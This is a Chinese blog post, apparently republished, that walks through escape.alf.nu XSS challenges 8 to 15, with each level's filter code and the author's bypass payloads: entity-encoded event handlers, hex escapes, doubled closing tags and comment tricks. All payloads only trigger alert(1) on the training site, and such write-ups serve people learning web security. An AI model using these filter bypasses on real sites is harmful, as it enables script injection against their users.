escape.alf.nu XSS Challenges 8-15 之进阶的XSS

本文链接:http://blog.csdn.net/u012763794/article/details/51526725

上次讲了challenge 0-7 http://blog.csdn.net/u012763794/article/details/51507593,我的应该比别人的会详细一点吧,其实这需要有一定的xss的实践(自己搭环境搞个没过滤的就可以了),要熟悉js

废话不多说,直接上挑战,注:要alert(1)才能通关

challenge 8

function escape(s) {
  // Courtesy of Skandiabanken
  return ‘<script>console.log("‘ + s.toUpperCase() + ‘")</script>‘;
}

这里是将我们输入的转化为大写了

那我们试试html实体字符,就是&#后面加十进制ascii,当让也可以十六进制,如&#x61,在后面加个x就行

我们只转化英文就行

alert   ------> &#97&#108&#101&#114&#116

由于是html实体字符,只能在html元素生效吧,我们放在img标签看看

还有的话,html对大小写不敏感,就是大小写的意思是一样的

闭合好就行啦,不足的就是有点长

payload:</script><img src="1.jpg" onerror=&#97&#108&#101&#114&#116(1)><script>

还有其他payload和改造

</script><img src="1.jpg" onerror=&#97&#108&#101&#114&#116(1)//

</script><svg onload=&#97&#108&#101&#114&#116(1)//

十六进制的

</script><svg onload=&#x61&#x6C&#x65&#x72&#x74(1)//

当然还可以在自己的服务器上放个js文件,文件内容:alert(1);

如果你有短域名,使用的字符长度就会更短了,短链接应该也不够短

challenge 9

function escape(s) {
  // This is sort of a spoiler for the last level :-)

  if (/[\\<>]/.test(s)) return ‘-‘;

  return ‘<script>console.log("‘ + s.toUpperCase() + ‘")</script>‘;
}

这里经过实践,一旦匹配到 \ ,<,和>就会直接返回‘-’

又大写,又不能输入<, 能不能对alert变换一下呢

做过ctf的应该很经常看到jsfuck,加密网站:http://www.jsfuck.com/

这字符就有点多了

之前在freebuf看到有个也是不用字母的js加密转换,记起来再写吧

challenge 10

function escape(s) {
  function htmlEscape(s) {
    return s.replace(/./g, function(x) {
       return { ‘<‘: ‘&lt;‘, ‘>‘: ‘&gt;‘, ‘&‘: ‘&amp;‘, ‘"‘: ‘&quot;‘, "‘": ‘'‘ }[x] || x;
     });
  }

  function expandTemplate(template, args) {
    return template.replace(
        /{(\w+)}/g,
        function(_, n) {
           return htmlEscape(args[n]);
         });
  }

  return expandTemplate(
    "                                                \n      <h2>Hello, <span id=name></span>!</h2>         \n      <script>                                       \n         var v = document.getElementById(‘name‘);    \n         v.innerHTML = ‘<a href=#>{name}</a>‘;       \n      <\/script>                                     \n    ",
    { name : s }
  );
}

首先我们看最后一个return,调用expandTemplate函数对一串html元素处理,而expandTemplate里面又调用了htmlEscape

expandTemplate函数好像没什么用,知道的大神麻烦告诉我

htmlEscape对单双引号,&和<,>都转化为html实体字符了,但没过滤\转义符

,那么我们使用十六进制看看

payload:  \x3cimg src=123 onerror=alert(1)//\x3c为小于号的十六进制

可以看到js在处理字符串时会将16进制转化为字符

其他payload,\x3e为大于号十六进制

\x3cimg src=123 onerror=alert(1)\x3e

\x3csvg onload=alert(1)// svg这个是html5的画布元素吧

challenge 11

function escape(s) {
  // Spoiler for level 2
  s = JSON.stringify(s).replace(/<\/script/gi, ‘‘);

  return ‘<script>console.log(‘ + s + ‘);</script>‘;
}

stringify可转义",后面的replace是替换</script为空字符,g是全局模式,就是从头搜索到尾,无论有多少,i就忽略大小写

在sql注入中,替换为空,我们就双写就行了

payload: </sc</scriptript><script>alert(1)//

当然双写可以随便搞

</</scriptscript><script>alert(1)//

</s</scriptcript><script>alert(1)//

............................等

challenge 12

function escape(s) {
  // Pass inn "callback#userdata"
  var thing = s.split(/#/); 

  if (!/^[a-zA-Z\[\]‘]*$/.test(thing[0])) return ‘Invalid callback‘;
  var obj = {‘userdata‘: thing[1] };
  var json = JSON.stringify(obj).replace(/\//g, ‘\\/‘);
  return "<script>" + thing[0] + "(" + json +")</script>";
}

var thing = s.split(/#/)

以#分隔两部分输入

if (!/^[a-zA-Z\[\]‘]*$/.test(thing[0])) return ‘Invalid callback‘;

#号 左边的只能输入大小写字母和左右中括号

var json = JSON.stringify(obj).replace(/\//g, ‘\\/‘);

会转义",后面的replace替换/为\\/,其实就是替换为\/

原来html的注释也可以的,那就简单了

单引号闭合前面,后面注释

payload: ‘#‘;alert(1);<!--

challenge 13

function escape(s) {
  var tag = document.createElement(‘iframe‘);

  // For this one, you get to run any code you want, but in a "sandboxed" iframe.
  //
  // http://print.alf.nu/?html=... just outputs whatever you pass in.
  //
  // Alerting from print.alf.nu won‘t count; try to trigger the one below.

  s = ‘<script>‘ + s + ‘<\/script>‘;
  tag.src = ‘http://print.alf.nu/?html=‘ + encodeURIComponent(s);

  window.WINNING = function() { youWon = true; };

  tag.onload = function() {
    if (youWon) alert(1);
  };
  document.body.appendChild(tag);
}

encodeURIComponent() 函数其实就是url编码吧

我们注意一下iframe,当在iframe中设置了一个name属性之后, 这个name属性的值就会变成iframe中的window对象的全局。

比如下面的abc

搞个通俗点的

还有个细节,就是那个网址,直接返回js,设置iframe的name属性

那么payload:name=‘youWon‘

challenge 14

function escape(s) {
  function json(s) { return JSON.stringify(s).replace(/\//g, ‘\\/‘); }
  function html(s) { return s.replace(/[<>"&]/g, function(s) {
                        return ‘&#‘ + s.charCodeAt(0) + ‘;‘; }); }

  return (
    ‘<script>‘ +
      ‘var url = ‘ + json(s) + ‘; // We\‘ll use this later ‘ +
    ‘</script>\n\n‘ +
    ‘  <!-- for debugging -->\n‘ +
    ‘  URL: ‘ + html(s) + ‘\n\n‘ +
    ‘<!-- then suddenly -->\n‘ +
    ‘<script>\n‘ +
    ‘  if (!/^http:.*/.test(url)) console.log("Bad url: " + url);\n‘ +
    ‘  else new Image().src = url;\n‘ +
    ‘</script>‘
  );
}

首先我们看返回函数,返回了两个script,第一个<script>用json(s)函数构造一个url,跟着中间用html()输出URL

第二个script如果成功绕过就新建一个我们url的图像

json函数过滤双引号和注释符

html函数过滤了<>"&

先看看什么效果

由于比较复杂,直接用别人的payload进行解释了

alert(1);/*<!--<script>*/if(/a//*

将右边的复制到我们本地测试

我们可以看到,我们输入的最后一个/*将下面的很多都注释掉了,把绿色的代码去掉,简化一下代码就是

var url = "alert(1);\/*<!--<script>*\/if(\/a\/\/*  ";
URL: alert(1);if(/a/.test(url)) console.log("Bad url: " + url);
else new Image().src = url;

再简化一下

再简化一下

challenge 15

function escape(s) {
  return s.split(‘#‘).map(function(v) {
      // Only 20% of slashes are end tags; save 1.2% of total
      // bytes by only escaping those.
      var json = JSON.stringify(v).replace(/<\//g, ‘<\\/‘);
      return ‘<script>console.log(‘+json+‘)</script>‘;
      }).join(‘‘);
}

payload:<!--<script>#)/;alert(1)//-->

最后生成代码:<script>console.log("<!--<script>")</script><script>console.log(")/;alert(1)//-->  ")</script>,复制到本地

直接将中间的敲在控制台上

console.log("<!--<script>")</script><script>console.log(")/;alert(1)//-->  ")

简化一下就是;console.log("<!--<script>")   <        /script><script>console.log(")/;       alert(1)

console    小于号    /正则表达式/ ;  alert(1)

所以语法上是正确的

其实就是两条语句

好了欢迎大家与我交流

本文链接:http://blog.csdn.net/u012763794/article/details/51526725

时间: 2024-11-07 11:16:02

escape.alf.nu XSS Challenges 8-15 之进阶的XSS的相关文章

escape.alf.nu XSS Challenges 0-7 之一步步学XSS

本文链接:http://blog.csdn.net/u012763794/article/details/51507593 以下挑战来源于:http://escape.alf.nu/ 你可能需要html,css,javascript,正则表达式的知识,没有的赶紧学吧 之前在合天也做了一点实验总结什么的 跨站脚本攻击基础 http://blog.csdn.net/u012763794/article/details/45869479 XSS进阶一 http://blog.csdn.net/u012

XSS (Cross Site Scripting) Prevention Cheat Sheet(XSS防护检查单)

本文是 XSS防御检查单的翻译版本 https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet 介绍 本文描述了一种恰当地使用输出转码或者转义(encoding or escaping)防御XSS攻击的简单积极模式. 尽管存在巨量XSS攻击方式,遵守一些简单的规则能够彻底防住这类严重的攻击. 本文不探讨XSS攻击的商业和技术影响. reflected and stored XSS 可以

xss challenges平台学习

虽然在很早之前就接触过xss,有一段时间还就着一本书研究过,但是始终没有实感,掌握的也不够系统,所以现在借着这几个平台再学习一遍 首先来玩一玩xss challenge平台 第一关:http://xss-quiz.int21h.jp/?sid=2a75ff06e0147586b7ceb0fe68ee443b86a6e7b9 第二关:http://xss-quiz.int21h.jp/stage2.php?sid=f2d7d60125bdddb208fa757ee5cdae22f6818cd1 提

XSS Challenges

Stage #1: http://xss-quiz.int21h.jp/?sid=2a75ff06e0147586b7ceb0fe68ee443b86a6e7b9 Hint: very simple... 按照要求输入<script>alert(document.domain);</script> 过关 Stage #2 http://xss-quiz.int21h.jp/stage2.php?sid=9532df794eb7055cab4e31fbac353c0df1960148

XSS Challenges xss-quiz.int21h.jp

概述: https://xss-quiz.int21h.jp/ Stage #1 payload: <script>alert(document.domain);</script> Stage #2 http://xss-quiz.int21h.jp/stage2.php?sid=e93e71eed43c3ab5668af6a5aa603cf66eedce70 尝试: <script>alert(document.domain);</script> 未果 i

XSS闯关游戏准备阶段及XSS构造方法

请下载好XSS闯关文件后,解压后放在服务器的对应文件夹即可 在该闯关中,会在网页提示一个payload数值 payload,翻译过来是有效载荷 通常在传输数据时,为了使数据传输更可靠,要把原始数据分批传输,并且在每一批数据的头和尾都加上一定的辅助信息,比如数据量的大小.校验位等,这样就相当于给已经分批的原始数据加一些外套,这些外套起标示作用,使得原始数据不易丢失,一批数据加上"外套"就形成了传输通道的基本传输单元,叫做数据帧或数据包,而其中的原始数据就是payload payload指

Bash脚本15分钟进阶教程

这里的技术技巧最初是来自谷歌的“Testing on the Toilet” (TOTT).这里是一个修订和扩增版本. 脚本安全 我的所有bash脚本都以下面几句为开场白: #!/bin/bashset-o nounsetset-o errexit 这样做会避免两种常见的问题: 引用未定义的变量(缺省值为“”) 执行失败的命令被忽略 需要注意的是,有些Linux命令的某些参数可以强制忽略发生的错误,例如“mkdir -p” 和 “rm -f”. 还要注意的是,在“errexit”模式下,虽然能有

『在线工具』 基于 xss.me 源码 + BootStrap 前端 的 XSS 平台

乌云社区上一个小伙伴的对xss.me 的源码做了 BS 的优化,本人已经搭建好,提供给大家免费使用,大牛求绕过,多谢. 地址: http://xss.evilclay.com (目前开放注册,不需要邀请码) 测试效果:

15软件工程进阶 小组 五班

刘金朋 地址:http://www.cnblogs.com/nullblogs 焦广鑫 地址:http://www.cnblogs.com/jgxblog/ 李明轩 地址:http://www.cnblogs.com/lmx0812/ 罗荣泽 地址:http://www.cnblogs.com/luorz/ 刘壮 彭程  地址:http://www.cnblogs.com/pc186/